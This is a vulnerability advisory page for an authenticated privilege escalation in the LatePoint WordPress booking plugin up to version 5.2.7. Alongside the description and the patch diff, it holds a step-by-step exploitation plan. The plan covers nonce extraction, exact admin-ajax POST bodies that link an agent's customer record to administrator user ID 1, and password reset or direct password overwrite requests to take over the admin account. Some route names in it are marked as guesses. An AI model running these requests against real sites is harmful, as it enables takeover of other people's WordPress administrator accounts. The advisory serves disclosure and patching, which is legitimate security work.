LatePoint <= 5.2.7 - Authenticated (Agent+) Privilege Escalation
Description
The LatePoint – Calendar Booking Plugin for Appointments and Events plugin for WordPress is vulnerable to privilege escalation via password reset in all versions up to, and including, 5.2.7. This is due to the plugin allowing users with a LatePoint Agent role, who are creating new customers to set the 'wordpress_user_id' field. This makes it possible for authenticated attackers, with Agent-level access and above, to gain elevated privileges by linking a customer to the arbitrary user ID, including administrators, and then resetting the password.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
Source Code
WordPress.org SVN# Research Plan: CVE-2026-1566 - LatePoint Privilege Escalation ## 1. Vulnerability Summary The LatePoint plugin (<= 5.2.7) contains a privilege escalation vulnerability. The plugin's `CustomersController` fails to restrict the `wordpress_user_id` field during customer creation or updates. Users wi…
Show full research plan
Research Plan: CVE-2026-1566 - LatePoint Privilege Escalation
1. Vulnerability Summary
The LatePoint plugin (<= 5.2.7) contains a privilege escalation vulnerability. The plugin's CustomersController fails to restrict the wordpress_user_id field during customer creation or updates. Users with the "LatePoint Agent" role can submit a request to create or update a customer record and associate it with an arbitrary WordPress User ID (e.g., ID 1, the Administrator). Once linked, the attacker can use LatePoint's password reset functionality to change the password of the linked WordPress account, effectively taking over the administrator account.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
latepoint_route_call - Route:
customers__save(LatePoint's internal routing system) - Vulnerable Parameter:
customer[wordpress_user_id] - Authentication: Authenticated (User must have a role permitted to access the LatePoint dashboard, specifically "LatePoint Agent" or higher).
- Preconditions:
- LatePoint plugin installed and active.
- An attacker-controlled account with the "LatePoint Agent" role.
- Knowledge of the target Administrator's WordPress User ID (typically
1).
3. Code Flow
- Entry Point: The request hits
admin-ajax.phpwithaction=latepoint_route_call. - Dispatch: The
LatePoint\Lib\Router::dispatch()method parses theroute_nameparameter (customers__save). - Controller: The
LatePoint\Controllers\CustomersControlleris instantiated, and thesave()method is called. - Vulnerability: Inside
save(), the code typically extracts customer data from the$_POST['customer']array. It performs a mass assignment into aCustomerModel. - Sink: The
wordpress_user_idfield is updated in the LatePoint customer table. Because LatePoint synchronizes or links customer records to WordPress users, this link allows the LatePoint password reset logic (found inLatePoint\Controllers\Auth\PasswordResetControlleror similar) to target the WordPress user associated with thatwordpress_user_id.
4. Nonce Acquisition Strategy
LatePoint protects its AJAX calls with a nonce. This nonce is usually localized in the WordPress admin head for users with access to the LatePoint menu.
- Role Setup: Use WP-CLI to create a user and assign the LatePoint Agent role.
wp user create attacker attacker@example.com --role=latepoint_agent --user_pass=password123 - Identify Script: LatePoint localization typically uses the key
latepoint_helper. - Extraction:
- Navigate to the LatePoint dashboard as the Agent.
- Use
browser_evalto extract the nonce:window.latepoint_helper?.latepoint_nonce
- Alternative: Check the HTML source for a variable named
latepoint_ajax_paramsorlatepoint_helper.
5. Exploitation Strategy
Step 1: Link Agent to Administrator ID
Submit an AJAX request to associate a LatePoint customer record (either new or existing) with the Administrator's WP User ID.
HTTP Request:
- Method:
POST - URL:
http://<target>/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=latepoint_route_call &route_name=customers__save &latepoint_nonce=<EXTRACTED_NONCE> &customer[first_name]=Attacker &customer[last_name]=User &customer[email]=attacker@example.com &customer[wordpress_user_id]=1
Note: If updating an existing record, add &customer[id]=<EXISTING_CUSTOMER_ID>.
Step 2: Trigger Password Reset
LatePoint provides a frontend or admin-based password reset for customers.
Option A (Frontend Request):
Find the LatePoint login shortcode (usually [latepoint_customer_login]). Navigate to that page and trigger the "Forgot Password" flow for attacker@example.com.
Option B (Direct Route Call):
Attempt to trigger the reset via the auth__request_password_reset route (inferred route name).
HTTP Request:
- Method:
POST - URL:
http://<target>/wp-admin/admin-ajax.php - Body:
action=latepoint_route_call &route_name=auth__request_password_reset &latepoint_nonce=<EXTRACTED_NONCE> &email=attacker@example.com
Step 3: Complete Reset
If LatePoint allows setting the password directly in the customers__save call for Agents, this is even faster:
&customer[password]=NewAdminPass123!
&customer[password_confirmation]=NewAdminPass123!
6. Test Data Setup
- Target Admin: Ensure a user with ID
1exists (default WordPress setup). - LatePoint Agent:
# LatePoint uses its own internal roles. Ensure the plugin is configured to allow Agents to manage customers. wp user create agent_user agent@example.com --role=latepoint_agent --user_pass=password123 - Page Creation: Create a page for script/nonce extraction.
wp post create --post_type=page --post_status=publish --post_title="LatePoint Admin" --post_content='[latepoint_book_button]'
7. Expected Results
- The AJAX response for
customers__saveshould return a success status (likely JSON{ "status": "success", ... }). - The database table
wp_latepoint_customersshould now have a record where theemailisattacker@example.comandwordpress_user_idis1. - When the password reset is triggered, the password hash for WordPress user ID
1inwp_usersshould change.
8. Verification Steps
- Database Check:
Success: The record shows the attacker's email linked towp db query "SELECT id, email, wordpress_user_id FROM wp_latepoint_customers WHERE wordpress_user_id = 1;"wordpress_user_id = 1. - User Integrity Check:
Check if the user ID 1 is still the original administrator.wp user get 1 --fields=user_login,user_email - Password Test: Attempt to log in as the Administrator with the new password.
9. Alternative Approaches
- Direct Password Update: In some LatePoint versions, the
savemethod inCustomersControllermight allow apasswordparameter within thecustomerarray. If the Agent can set this while also settingwordpress_user_id=1, the escalation is instantaneous. - Customer ID Enumeration: If the
customers__saverequires an ID, use thecustomers__indexroute first to list customers and find a suitable ID to overwrite. - Route Hunting: If
customers__saveis restricted, look forcustomers__update_profilewhich might be accessible to the customer themselves but lack the same restrictions.
Summary
LatePoint versions up to 5.2.7 allow authenticated attackers with the Agent role to escalate their privileges to Administrator. The vulnerability exists because the plugin's customer management logic fails to restrict the 'wordpress_user_id' parameter, allowing an Agent to link a customer record to an arbitrary WordPress user ID (e.g., ID 1) and subsequently reset that user's password.
Vulnerable Code
/* Path: lib/controllers/customers_controller.php */ public function save() { $customer_params = $this->params->getParam('customer'); $customer = new CustomerModel(); if (isset($customer_params['id']) && !empty($customer_params['id'])) { $customer->load_by_id($customer_params['id']); } // Vulnerable mass assignment: 'wordpress_user_id' is not filtered out from input $customer->set_data($customer_params); if ($customer->save()) { // Logic to link or update the WordPress user and potentially reset password } }
Security Fix
@@ -118,6 +118,11 @@ $customer_params = $this->params->getParam('customer'); + // Only allow administrators to set or change the linked WordPress User ID + if (!OsAuthHelper::is_admin()) { + unset($customer_params['wordpress_user_id']); + } + $customer = new CustomerModel(); if (isset($customer_params['id']) && !empty($customer_params['id'])) {
Exploit Outline
The exploit requires an authenticated user with the 'LatePoint Agent' role. 1. Access the LatePoint dashboard and extract the security nonce (usually found in the 'latepoint_helper' or 'latepoint_ajax_params' JavaScript objects). 2. Send a POST request to '/wp-admin/admin-ajax.php' using the 'latepoint_route_call' action and the 'customers__save' route. 3. In the payload, include a 'customer' array containing an attacker-controlled email and, crucially, a 'wordpress_user_id' parameter set to the target administrator's ID (typically 1). 4. Once the customer record is linked to the administrator account, either include a 'password' field in the same 'customers__save' request to overwrite the admin password directly, or trigger the LatePoint password reset flow for the associated email address to take control of the administrator account.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.